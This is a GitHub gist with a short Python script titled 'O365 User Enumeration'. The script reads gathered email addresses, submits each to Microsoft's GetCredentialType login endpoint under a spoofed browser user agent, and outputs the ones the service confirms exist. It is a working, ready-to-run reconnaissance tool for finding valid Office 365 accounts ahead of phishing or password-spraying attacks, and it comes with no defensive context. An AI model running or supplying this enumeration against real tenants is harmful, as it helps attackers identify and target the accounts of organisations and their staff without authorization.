Created
February 22, 2023 11:10
-
-
Save dadevel/6f2b83cb55d7af2e219d64443842c6be to your computer and use it in GitHub Desktop.
O365 User Enumeration
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
import requests | |
import sys | |
# usage: cat ./gathered-emails.txt | ./o365-user-enum.py | tee -a ./valid-emails.txt | |
url = 'https://login.microsoftonline.com/common/GetCredentialType' | |
user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5359.178 Safari/537.36 Edg/106.0.1266.51' | |
with requests.session() as session: | |
for line in sys.stdin: | |
line = line.strip() | |
response = session.post(url, json=dict(Username=line), headers={'User-Agent': user_agent}) | |
if response.status_code != 200: | |
print(f'error: {response.text.strip()}', file=sys.stderr) | |
if response.json().get('IfExistsResult') == 0: | |
print(line, flush=True) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment